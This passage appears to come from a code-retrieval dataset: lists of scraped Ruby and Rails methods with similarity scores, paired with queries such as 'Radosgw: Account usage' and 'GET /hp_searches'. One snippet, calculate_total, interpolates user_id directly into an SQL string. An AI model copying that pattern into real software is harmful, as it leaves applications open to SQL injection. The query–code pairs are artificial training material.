Radosgw: Account usage'\n usage_hash\n end", "def get_cpu_usage_for_user(username)\n return(@cpuusage[username])\n end", "def usage_stats\n\t login_filter\n \n\t stats_page = @agent.get(\"/account\")\n\t \n\t stats = stats_page.at('#usage-percent').content.scan(/(\\d+(?:\\.\\d+)?)%\\ used\\ \\((\\d+(?:\\.\\d+)?)([MG])B of (\\d+(?:\\.\\d+)?)GB\\)/).collect{ |d|\n\t { :used => d[1].to_f * ((d[2] == \"G\") ? 1024 : 1),\n\t :total => d[3].to_f * 1024,\n\t :free => (d[3].to_f * 1024 - d[1].to_f * ((d[2] == \"G\") ? 1024 : 1)),\n\t :percent => Percentage.new(d[0].to_f/100)\n\t }\n\t }[0]\n\t \n\t regular_data = stats_page.at('span.bar-graph-legend.bar-graph-normal').next.content.scan(/\\((\\d+(?:\\.\\d+)?)([MG])B/)[0]\n\t stats[:regular_used] = regular_data[0].to_f * ((regular_data[1] == \"G\") ? 1024 : 1) unless regular_data.nil?\n\n\t shared_data = stats_page.at('span.bar-graph-legend.bar-graph-shared').next.content.scan(/\\((\\d+(?:\\.\\d+)?)([MG])B/)[0]\n\t stats[:shared_used] = shared_data[0].to_f * ((shared_data[1] == \"G\") ? 1024 : 1) unless shared_data.nil?\n\n return stats\n end", "def user_lifetime_balance(user)\n reservations_balance = reservations.where(user: user).sum(:price)\n game_passes_balance = game_passes.where(user: user).sum(:price)\n\n reservations_balance.to_f + game_passes_balance.to_f\n end", "def cost_for(users)\n user_count = (action == :split) ? users.count + 1 : users.count\n cost_per_user = amount / user_count\n cost_per_user = \"%.2f\" % ((cost_per_user*2.0).round / 2.0).to_f # Round to nearest $0.50\n\n cost_per_user.to_f\n end", "def update_user(user)\n @users[user]=Hash.new if !@users[user]\n \n vmpool=OpenNebula::VirtualMachinePool.new(@client, user)\n vmpool.info\n \n one_ids=vmpool.map {|vm| vm.id }\n vms=@users[user]\n user_ids=vms.keys\n \n deleted_vms=user_ids-one_ids\n added_vms=one_ids-user_ids\n \n deleted_vms.each {|vmid| vms.delete(vmid) }\n \n added_vms.each do |vmid|\n vm=OpenNebula::VirtualMachine.new(\n OpenNebula::VirtualMachine.build_xml(vmid), @client)\n vm.info\n \n usage=VmUsage.new(vm['TEMPLATE/CPU'].to_f,\n vm['TEMPLATE/MEMORY'].to_i)\n vms[vmid.to_i]=usage\n end\n end", "def get_usage\n\t\t\t@storage.fetch(:usage).to_i\n\t\tend", "def get_iowait_usage_for_user(username)\n return(@iowaitusage[username])\n end", "def payees_with_usage; end", "def usage(opts)\n url = '/stats/usage'\n url += '_by_month' if opts.delete(:by_month)\n url += '_by_service' if opts.delete(:by_service)\n client.get_stats(url, opts)\n end", "def mem_usage\n ScoutApm::Instruments::Process::ProcessMemory.new(@agent_context).rss\n end", "def fetch_cluster_utilization()\n logger.debug(\"Fetching Memory utilization for Cluster #{self.mob.name}\")\n properties = @client.cloud_searcher.get_properties(mob, Vim::ClusterComputeResource, 'summary')\n raise \"Failed to get utilization for cluster'#{self.mob.name}'\" if properties.nil?\n\n compute_resource_summary = properties[\"summary\"]\n return compute_resource_summary.effective_memory\n end", "def user_lifetime_balance(user)\n reservations_balance = user_reservations(user).sum(:price)\n game_passes_balance = game_passes.where(user: user).sum(:price)\n participations_balance = participations.where(user: user).sum(:price)\n group_subscriptions_balance = group_subscriptions.where(user: user).sum(:price)\n\n reservations_balance.to_d +\n game_passes_balance.to_d +\n participations_balance.to_d +\n group_subscriptions_balance.to_d\n end", "def reservation_usage\n return nil unless @gapi.statistics.reservation_usage\n Array(@gapi.statistics.reservation_usage).map { |g| ReservationUsage.from_gapi g }\n end", "def total_users\n return @total_users\n end", "def total_users\n return @total_users\n end", "def total_users=(value)\n @total_users = value\n end", "def total_users=(value)\n @total_users = value\n end", "def calculate_total(database, user_id)\n\ttotal = 0\n\titem_costs = database.execute(\n\t\t\"SELECT *\n\t\tFROM purchases\n\t\tWHERE login_id='#{user_id}';\"\n\t\t)\n\t\titem_costs.each do |cost|\n\t\t\ttotal += cost[3]\n\t\tend\n\t\ttotal\nend", "def inspect\n \"<Twilio.Api.V2010.UsageInstance>\"\n end", "def single_usage\r\n meter = get_meters[3]\r\n date_ranges = get_date_ranges\r\n dtps = Meter.get_daily_time_periods [meter]\r\n\r\n# usage = meter.usage_by_meter(date_ranges, dtps)\r\n# usage = meter.usage_by_time(date_ranges, dtps)\r\n usage = meter.detailed_usage_by_meter(date_ranges, dtps)\r\n# usage = meter.detailed_usage_by_time(date_ranges, dtps)\r\n\r\n render :json => usage\r\n\r\n# redirect_to action: 'index'\r\n end", "def bytestotal\r\n\t\t\t`#{BITS::BITSADMIN} /getbytestotal {#{@id}}`\r\n\t\tend", "def account_usage\n usage = Shotty.dropbox_account_usage\n\n puts \"Dropbox Space Usage\"\n puts\n puts \" - Used: #{usage[:used]} GB (#{usage[:used_percent]}%)\"\n puts \" - Free: #{usage[:free]} GB (#{usage[:free_percent]}%)\"\n puts \" - Max: #{usage[:max]} GB\"\n end", "def set_customer_usage\n @customer_usage = CustomerUsage.find(params[:id])\n end", "def sum_charges\n return (self.sum_produits_used)\n end", "def user_earnings_total(ga_user_id, startDate, endDate)\n\n request = {report_requests:[\n {metrics:[{expression:\"ga:metric2\"}],\n dimensions:[{name:\"ga:dimension1\"}],\n date_ranges:[{start_date: startDate, end_date: endDate}],\n view_id:\"ga:141580290\",\n filters_expression: \"ga:dimension1==#{ga_user_id}\"\n }]}\n\n results = ga_request(request)\n\n json = JSON.parse(results.to_json)[\"reports\"][0][\"data\"][\"totals\"][0][\"values\"][0]\n\n return json\n\n end", "def total\n Rubinius.invoke_primitive :object_get_ivar, @object, :@total\n end", "def usage\n usage = 0\n instance.nodes.each do |node|\n data = DockerVolumeLocal::Node.new(node).remote_exec(\n %Q(sudo bash -c \"du --total --block-size 1024 -s #{DockerVolumeLocal.config[:docker_volume_path]}/#{instance.name}/_data | grep total\")\n )\n usage += data.split(\"\\t\")[0].strip.to_i\n end\n usage\n rescue\n nil\n end", "def user_outstanding_balance(user)\n invoicable_reservations = reservations.where(user: user).invoicable\n invoicable_game_passes = game_passes.where(user: user).invoicable\n\n invoicable_reservations.map(&:outstanding_balance).sum.to_f +\n invoicable_game_passes.map(&:price).sum.to_f\n end", "def get_total_points_available(user_id, course_id)\r\n relative_url = Path::USERS_COURSES_GRADEBOOK_USERGRADEBOOKITEMSTOTAL % [user_id, course_id]\r\n get(relative_url)\r\n end", "def usage\n \"#{balance_details 2}GB of #{balance_details 3}GB remaining\"\n end", "def resource_usage_summary(flavor, count)\n d = @flavormap[flavor]\n raise \"No such flavor #{flavor}\" if not d\n ram = d[\"ram\"] * count\n vcpus = d[\"vcpus\"] * count \n sprintf(\"%d\\t%d\", vcpus, ram)\nend", "def usage\n Zapi::Models::Usage.new\n end", "def mem_usage\r\n # all usage\r\n total_used_memory = IO.popen(\"ps aux\").read.split(\"\\n\").inject 0 do |a, i|\r\n a += i.split(' ')[3].to_f\r\n end\r\n # mysql usage\r\n tread_desc = IO.popen(\"ps aux|grep mysqld\").read.split(\"\\n\")[0].split \" \" #get total info about mysql-process\r\n #form json\r\n return {\r\n rows: [{\r\n type: \"Memory free\",\r\n total: 100\r\n },{\r\n type: \"Mysql used\",\r\n total: tread_desc[3].to_f\r\n },{\r\n type: 'Other',\r\n total: total_used_memory-tread_desc[3].to_f\r\n }]\r\n }.to_json\r\nend", "def calculate_storage(user_id)\n storage = 0\n @assets = User.find(user_id).assets.all\n @assets.each do |asset|\n storage += asset.asset.size\n end\n return storage\n end", "def get_usage(opts = {})\n data, _status_code, _headers = get_usage_with_http_info(opts)\n data\n end", "def accounts_with_usage; end", "def percent_used\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tmemory = IO.foreach('/proc/meminfo').first(3)\n\t\t\t\ttotal = memory[0].split[1].to_i\n\t\t\t\ttotal.-(memory[2].split[1].to_i).*(100).fdiv(total).round(2)\n\t\t\tend", "def amount(type = 'traffic')\n operations.inject(0) {|sum, o| sum + o.usagevalue(type)}\n end", "def calcTotalCustomerValue\n\t\t\n\tend", "def inspect\n \"<Twilio.Api.V2010.UsageInstance>\"\n end", "def total_value\n @quantity * @price_per_share\n end", "def user_stats\n generate 'sufia:user_stats'\n end", "def total\n @total\n end", "def build_usage_by_resource\n usage_by_model_event = FedoraAccessEvent.item_usage_by_type(\n start_date: metrics.report_start_date,\n end_date: metrics.report_end_date\n )\n accumulator = {}\n usage_by_model_event.each do |fedora_object|\n accumulator[fedora_object.item_type.to_sym] ||= {}\n accumulator[fedora_object.item_type.to_sym][fedora_object.event.to_sym] ||= 0\n accumulator[fedora_object.item_type.to_sym][fedora_object.event.to_sym] += fedora_object.object_count\n end\n metrics.item_usage_by_resource_type_events = accumulator\n end", "def total_day_usage\n limit? ? extract_ratelimit!(usage).last : nil\n end", "def up_total\n up, down = update_total_traffic_from_router_info\n Traffic::Amount.new up\n end", "def cost\n purchase_cost\n end", "def cost\n purchase_cost\n end", "def usage_info\n { :session_messages => current_account.session_message_count.to_i,\n :marketing_messages => current_account.marketing_message_count.to_i,\n :prepaid_messages => current_account.subscription.prepaid_message_count.to_i }\n end", "def box_usage\n unless block_given?\n @usage.box_usage\n else\n # return the usage of the actions in the block\n usage1 = @usage.box_usage\n yield\n usage2 = @usage.box_usage\n return usage2 - usage1\n end\n end", "def monthly_print_usage_by_user()\n return MicrosoftGraph::Reports::MonthlyPrintUsageByUser::MonthlyPrintUsageByUserRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def rusage\n return @rusage\n end", "def dose_by_user(user)\n # Current daily dose, sum active consumptions (float)\n clean_number consumptions.active.by_user(user).map(&:amount).inject(:+)\n end", "def index\n @reservations = @user.reservations.active_total\n end", "def daily_print_usage_by_user()\n return MicrosoftGraph::Reports::DailyPrintUsageByUser::DailyPrintUsageByUserRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def total\n render json: { total: User.count }\n end", "def usage_operation\n data[:usage_operation]\n end", "def allocated\n @amount = InvoiceUsage.amount_cents_allocated_for_period(Account.find_by_site_address(request.subdomain), @start_date, @end_date)\n end", "def get_total_memory(vmvalue)\n\t\t\ttotal = instance_variable_get(\"@#{vmvalue}\").to_i\n\t\t\t@children.each { |child_status|\n\t\t\t\ttotal += child_status.get_total_memory(vmvalue)\n\t\t\t}\n\t\t\ttotal\n\t\tend", "def calculate\n self.total\n end", "def total_paid\n self.user_expenses.reduce(0) { |sum, user_expense| user_expense.paid + sum }\n end", "def remaining_total\n total\n end", "def get_gpu_memory_usage(json_result, slot)\n gpu_memory_useage = json_result['Devices'][slot]['Utilization']['Memory']\n return gpu_memory_useage\nend", "def consumption_total_period\n # @readings = Reading.where(billing_period_id: billing_period_id, subscriber_id: subscriber_ids).where('reading_type_id NOT IN (?)',[1,2,5,6]).group_by(&:reading_1_id)\n readings = subscriber.readings.where(billing_period_id: billing_period_id).where('reading_type_id IN (?)',[ReadingType::NORMAL,ReadingType::OCTAVILLA,ReadingType::RETIRADA,ReadingType::AUTO]).order(:reading_date).group_by(&:reading_1_id)\n total = 0\n ccm = 0\n readings.each do |reading|\n total += reading[1].last.consumption\n end\n if meter.is_master?\n # Billable Master Meter:\n # Consumption to bill must be the substraction between this consumption\n # and the sum of the child meters consumption\n ccm = consumption_child_meters\n total = ccm > total ? 0 : total - ccm\n end\n return total\n end", "def usage=(value)\n @usage = value\n end", "def get_gpu_usage(json_result, slot)\n gpu_useage = json_result['Devices'][slot]['Utilization']['GPU']\n return gpu_useage\nend", "def get_total\n counts = convert_to_hash(@item_list)\n uniq_items = @item_list.uniq\n\n final = (@total - @sale.apply(uniq_items, counts)).round(2) # Used round for precision\n puts get_invoice + final.to_s\n final\n end", "def get_Total()\n \t return @outputs[\"Total\"]\n \tend", "def usageThisBillingPer profile_name, interface\n stats= TCD::Storage.readStats(profile_name, interface) {|path| TCD::Profiles.PathInCurrentCycle?(profile_name, interface, path) }\n bytes_in=0\n bytes_out=0\n stats[:in].each {|size, date| bytes_in+=size}\n stats[:out].each{|size, date| bytes_out+=size}\n bytes_in+bytes_out\n end", "def amee_usages\n @amee_usages||=amee_item_definition.usages\n end", "def hours_available_for(user)\n milestone_resource = milestone_resources.where(resource_id: user).first\n self.duration.to_f * milestone_resource.try(:available_hours_per_day).to_f\n end", "def index\n authorize User\n @users = User.order(admin: :desc).order(active: :desc).order(:plan_id).order(first_name: :asc).order(last_name: :asc).includes(:plan).all.page(params[:page] || 0).per(20)\n\n @stripe_total = 0\n\n User.includes(:plan).each do |user|\n if user.plan\n @stripe_total += user.plan.stripe_plan_amount\n end\n end\n\n end", "def total\n @total\n end", "def total_value_cents\n total_benefits_value\n end", "def total_resources\n self.balance + self.fuel_reserve\n end", "def total\n Money.new(self.expense_entries.sum('unit_cost_pence * qty'))\n end", "def total_cost\n # quantity * unit_cost_price\n unit_cost_price\n end", "def usage\n @machine = Machine.find(params[:id])\n @usages = @machine.usages\n @calendar = Calendar.all\n @calendar.pry\n# @machine.gen_usage_stats\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def usage_params\n params.require(:usage).permit(:user_id, :cart_id)\n end", "def multiple_usage\r\n date_ranges = get_date_ranges\r\n meters = get_meters\r\n dtps = get_dtps\r\n\r\n #MeterAggregation.aggregate_missing_data date_ranges, dtps, meters\r\n\r\n #dtps = []\r\n\r\n #usages = Meter.usage_by_meter date_ranges, dtps, meters\r\n #usages = Meter.detailed_usage_by_meter date_ranges, dtps, meters\r\n #usages = Meter.usage_by_time date_ranges, dtps, meters\r\n usages = {}\r\n\r\n t = Benchmark.measure {\r\n usages = Meter.detailed_usage_by_time date_ranges, dtps, meters\r\n }\r\n logger.info \"Time taken => #{t}\"\r\n # usages[:query_time] = t\r\n render :json => usages\r\n\r\n #redirect_to action: 'index'\r\n end", "def total_usage(sleep = 0.075)\n\t\t\t\treturn nil unless stat?\n\n\t\t\t\tdata = IO.foreach('/proc/stat').first.split.tap(&:shift).map!(&:to_f)\n\t\t\t\tsleep(sleep)\n\t\t\t\tdata2 = IO.foreach('/proc/stat').first.split.tap(&:shift).map!(&:to_f)\n\n\t\t\t\tuser, nice, sys, idle, iowait, irq, softirq, steal = *data\n\t\t\t\tuser2, nice2, sys2, idle2, iowait2, irq2, softirq2, steal2 = *data2\n\n\t\t\t\tidle_then, idle_now = idle + iowait, idle2 + iowait2\n\t\t\t\ttotald = idle_now.+(user2 + nice2 + sys2 + irq2 + softirq2 + steal2) - idle_then.+(user + nice + sys + irq + softirq + steal)\n\t\t\t\ttotald.-(idle_now - idle_then).fdiv(totald).*(100).round(2).abs\n\t\t\tend", "def total_purchases_cost\n purchases.to_a.sum(&:cost)\n end", "def total_purchases_cost\n purchases.to_a.sum(&:cost)\n end", "def total_memory_usage\n process_memory_usage - @start_memory_usage\n end", "def total\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tIO.foreach('/proc/meminfo').first.split[1].to_i\n\t\t\tend", "def total_users()\n\t\t@@total_users += 1\n\t\tputs \"Total users : #@@total_users\"\n\tend" ]
[ "0.6384523", "0.635422", "0.63443184", "0.6292223", "0.6256888", "0.62505805", "0.61222386", "0.6118661", "0.6085477", "0.60595334", "0.60502285", "0.5998154", "0.5955037", "0.59361607", "0.59205896", "0.58673525", "0.5851864", "0.57405496", "0.5729764", "0.5720738", "0.57084733", "0.5705096", "0.5688656", "0.56615835", "0.5658073", "0.56441015", "0.56377417", "0.5611678", "0.5611678", "0.56058097", "0.56058097", "0.5580866", "0.55806977", "0.5570651", "0.5525081", "0.5519076", "0.5517802", "0.55055326", "0.5502494", "0.5502257", "0.5502226", "0.5499306", "0.5492398", "0.5483922", "0.5473306", "0.54664975", "0.5452845", "0.5448265", "0.5442788", "0.5438158", "0.5431488", "0.54307747", "0.54301894", "0.5412075", "0.54057187", "0.5405198", "0.5401554", "0.5396393", "0.53912836", "0.5383749", "0.5381397", "0.5381397", "0.5380808", "0.53709054", "0.53641737", "0.53639305", "0.5344237", "0.5343394", "0.53384423", "0.53378594", "0.53365725", "0.53314054", "0.53308415", "0.5326333", "0.53211826", "0.53168553", "0.5316086", "0.53111106", "0.53053737", "0.52990043", "0.5290172", "0.52875614", "0.5265049", "0.52563155", "0.5243204", "0.5238132", "0.5237007", "0.52247345", "0.5223073", "0.52223176", "0.52127874", "0.5207876", "0.5204784", "0.5204558", "0.5203252", "0.5202932", "0.5202932", "0.52026427", "0.51991004", "0.51912314" ]
0.82086825
0
GET /hp_searches GET /hp_searches.json
def index @hp_searches = HpSearch.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @searches = @website.searches.all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @searches }\n end\n end", "def search\n spotyfy_client = SpotyfyClient.new(params[:search])\n spotyfy_client.perform\n items = SpotyfyService.parse_hash(spotyfy_client.body)\n render :json => items.to_json\n end", "def index\n @searches = @user.searches\n respond_to do |format|\n format.html { }\n format.json { @presenter = json_presenter(@searches) }\n end\n end", "def search\n @q = params[:q]\n @results = Series.external_search(@q)\n\n respond_to do |format|\n format.html # search.html.haml\n format.json { render json: @results.to_json }\n end\n end", "def index\n @searches = Search.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def\tsearch\n\t\tresult = query_google_places\n\t\trender :json => result\n\tend", "def search\n @hits = []\n\n if params[:query]\n search = DesignMethod.solr_search do\n fulltext params[:query] do\n highlight\n minimum_match 0\n end\n end\n store_location\n @hits = search.hits\n @results = search.results\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end", "def search\n send_request\n parse_response\n end", "def index\n\n @search = House.search()\n @houses = House.order(\"country\").order(\"name\").page params[:page]\n\n if params[:q]\n @search = House.search(params[:q])\n @houses = @search.result.order(\"country\").order(\"name\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end", "def search\n @selected = Herb.find_by_id(params[:search])\n if @selected\n redirect_to @selected and return\n else\n \n @search = Herb.search do\n fulltext params[:search]\n\n end\n @herbs = @search.results\n @first = @herbs.pop\n @second = @herbs.pop\n @third = @herbs.pop\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @herbs }\n end\n end", "def Search query\n \n APICall(path: \"search.json?query=#{query}\",method: 'GET')\n \n end", "def search\n terms = @authority.search(url_search)\n render json: terms\n end", "def search\n \n search = params[:search]\n miniresume = params[:miniresume]\n location = params[:location]\n\n #thinking_sphinx conditions - \n @adviceposts = Advicepost.search(search,miniresume,location,page: 1, per_page: 25)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adviceposts }\n end\n end", "def search\n response = make_request\n begin\n response_hash = JSON.parse(response.body)\n rescue JSON::ParserError\n raise RequestException\n else\n response_hash\n end\n end", "def search(options={})\n params = []\n options.each do |key, value|\n params << \"#{key}=#{value}\"\n end\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape(\"#{base_api_url}search/query?#{params.join('&')}\")\n ethon.perform\n check_and_raise_failure(ethon)\n server_responded_at = Time.now\n {\n requested_url: ethon.url,\n server_responded_at: server_responded_at,\n results: parse_search_response(ethon.response_body)\n }\n end", "def search\n url = @@url\n url.query = Addressable::URI.form_encode(\n 'v' => '1.0',\n 'q' => (@args[:site]) ? @query + \" site:#{ @args[:site] }\" : @query ,\n 'key' => @google_api_key,\n 'userip' => @ip_number\n )\n results = JSON.parse(open(url, 'Referer' => @referrer_site).read) rescue {}\n \n @response_details = results['responseDetails'] # => nil,\n @response_status = results['responseStatus' ] # => 200\n \n @cursor = Cursor.new(results['responseData']['cursor'])\n \n results['responseData']['results']\n end", "def search(search_url)\n params = { :restrictSearchableAttributes => 'url', :query => search_url, :typoTolerance => false }\n hn_search_url = URI('http://hn.algolia.com/api/v1/search')\n hn_search_url.query = URI.encode_www_form(params)\n response = Net::HTTP.get_response(hn_search_url)\n\n if response.is_a?(Net::HTTPSuccess)\n results = JSON.parse(response.body)\n hits = results['hits']\n\n if hits.length() > 0\n print_hits(hits)\n else\n puts 'could not find a match, you are probably good!'\n end\n else\n # Could not make the request, print out the error.\n response.value()\n end\nend", "def searches\n Boundary.get(@url)\n end", "def index\n @search_name = params[:search_name]\n\n if @search_name\n conditions = @search_name.split(' ').map { |n| \"name ilike '%#{n}%'\" }.join(\" OR \")\n responses = Admin::Response.where(conditions)\n else\n responses = Admin::Response\n end\n @responses = responses.order('created_at desc').paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @responses }\n end\n end", "def tracks_search params = { :query => 'love', :page => 1 }\n json = send_request 'tracks_search', params\n if json['success'] == true\n json['tracks']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "def index\n @reloud_checks = ReloudCheck.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reloud_checks }\n end\n end", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def search\n expose Challenge.search(@oauth_token, params[:keyword])\n end", "def index\n respond_with Official.search(official_search_params)\n end", "def getResultsFromSearch(query, type, guts, ppOverride)\n request('getResultsFromSearch', {'query' => query, 'type' => type, 'guts' => guts, 'ppOverride' => ppOverride})\nend", "def search\n search_param = params[:term]\n matching_keys = UserKey.submitted.search(search_param).collect { |u| { value: \"#{u.name}\", data: u.id } }\n render json: { suggestions: matching_keys }\n end", "def results\n raw_input = params[:search].to_s\n formatted_input = raw_input.gsub(\" \", \"+\")\n\n @client = HTTParty.get(\"http://api.shopstyle.com/api/v2/products?pid=uid5001-30368749-95&fts='#{formatted_input}'&offset=0&limit=20\")\n\n render json: @client\n end", "def index\n\n @searches = Search.all\n end", "def search\n\t\tsearch_service = ApplicationService.get :SearchService\n\t\tquery_words = get_word_list params[:query]\n\t\tfiltered_query_words = []\n\t\tquery_words.each { |word| filtered_query_words << word unless search_service.is_stop_word word }\n\n\t\tlimit = params[:page_size] ? params[:page_size].to_i : 100\n\t\tpage = params[:page] ? params[:page].to_i - 1 : 0\n\t\toffset = page * limit\n\n\t\tresults = []\n\n\t\tif query_words.size > 0\n\t\t\tsearch_entries = SearchEntry.where('word REGEXP ?', query_words.join(\"|\"))\n\t\t\t\t\t\t\t\t\t\t.select(:product_id, :id)\n\t\t\t\t\t\t\t\t\t\t.select(\"sum(frequency) as total_frequency\")\n\t\t\t\t\t\t\t\t\t\t.group(:product_id)\n\t\t\t\t\t\t\t\t\t\t.order(frequency: :desc)\n\t\t\t\t\t\t\t\t\t\t.limit(limit)\n\t\t\t\t\t\t\t\t\t\t.offset(offset)\n\t\t\t\t\t\t\t\t\t\t.all\n\n\t\t\tsearch_entries.each do |entry|\n\t\t\t\tproduct = entry.product\n\t\t\t\tresults << {\n\t\t\t\t\tproduct_id: product.id,\n\t\t\t\t\tproduct_name: product.product_name,\n\t\t\t\t\tproduct_price: product.price,\n\t\t\t\t\tproduct_type: product.product_type,\n\t\t\t\t\tthumbnail: product.thumbnail\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\n\t\tpayload = {\n\t\t\tresults: results\n\t\t}\n\n\t\trender status: 200, json: payload\n\tend", "def index\n @searcheds = Searched.all\n end", "def index\n # @search = Shelter.search do\n # fulltext params[:search]\n # end\n # @shelters = @search.results\n @shelters = Shelter.all\nend", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def search\n if params[:term]\n @shops = Shop.where(\"title like '%\"+params[:term]+\"%'\")\n else\n @shops = Shop.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end", "def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end", "def advsearch\n expose Challenge.advsearch(@oauth_token, params)\n end", "def index\n @jobsearches = Jobsearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobsearches }\n end\n end", "def index\n @searches = Sunspot.search(Drug, Review, Condition) do\n fulltext params[:search]\n end\n @results=@searches.results\n @drugresults=Array.new\n @conditionresults=Array.new\n @reviewresults=Array.new\n @results.each do |result|\n if result.instance_of?Drug\n @drugresults.push(result)\n elsif result.instance_of?Condition\n @conditionresults.push(result)\n else\n @reviewresults.push(result)\n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def search\n\t\t@query = params[:query]\n\t\t@hospitals = Hospital.search @query, :page => params[:page], :per_page => 10\n\tend", "def suggestion_search\n keywords = params[:q]\n keywords = Utils.nomalize_string(keywords)\n\n if keywords.include? '-'\n keywords = keywords.gsub! '-', \" \"\n end\n\n pattern = /#{Regexp.escape(keywords)}/i\n\n users = User.or({:name => pattern}, {:email => pattern}).map { |user|\n UserSerializer.new(user).suggestion_search_hash\n }\n\n render json: users, root: false\n return\n end", "def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end", "def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end", "def index\n @garnishes = Garnish.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @garnishes.map(&:attributes)}\n end\n end", "def search\n @links = Link.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.json { render :json => @links }\n end\n end", "def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end", "def search(query, opts = {})\r\n page = opts[:page] || 1\r\n uri = url_for('search', opts)\r\n response = RestClient.get(uri, params: { q: query, page: page })\r\n JSON.parse response\r\n end", "def search_results\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n data = search_term(sname)\n @top = []\n @rest = []\n data[:results].each do |type|\n type[:matches].each do |hit|\n if hit[:score] >= 1.0\n @top << hit\n else\n @rest << hit\n end\n end\n end\n @top.sort! { |a, b| b[:score] <=> a[:score] }\n @rest.sort! { |a, b| b[:score] <=> a[:score] }\n render \"site/results\"\n end", "def search\n book = Book.new(params)\n render json: book.search\n end", "def index\n @saved_searches = SavedSearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @saved_searches }\n end\n end", "def search\n @query = params[:q]\n @editions = Book.search(@query)\n respond_to do |format|\n format.html # show.html.haml\n format.xml { render :xml => @editions }\n end\n end", "def searchByExperience\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\n\t\t\tresults = Doctor.where(\"experience LIKE ?\", \"%#{prms['experience'][0]}%\")\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def search\n @keywd = params[:keywd]\n @genre = params[:genre]\n if params[:page].present?\n @page = params[:page]\n else\n @page = 1\n end\n searcher = BookSearcher.new\n @result = searcher.search(@keywd, @page, @genre)\n @books = searcher.get_books\n @message = searcher.get_message\n\n respond_to do |format|\n format.html { render 'search/index' }\n format.json { render json: @books, status: :ok }\n end\n end", "def search(query, results = nil)\n params = { :query => query }\n params[:results] = results unless results.nil?\n get :webSearch, params\n end", "def index\n @suggestions = Suggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @suggestions }\n end\n end", "def index\n employee = current_user.employee\n algorithm = SearchAlgorithm.new(employee, Post.all)\n ordered_posts = algorithm.search\n top_results = ordered_posts[0..19]\n render json: top_results.to_json\n end", "def index\n @gosoks = params[:q] ? Gosok.search_for(params[:q]) : Gosok.all\n end", "def search_posts\n @posts = Post.ransack(name_cont: params[:q]).result.limit(20)\n\n render json: @posts, status: 200\n end", "def 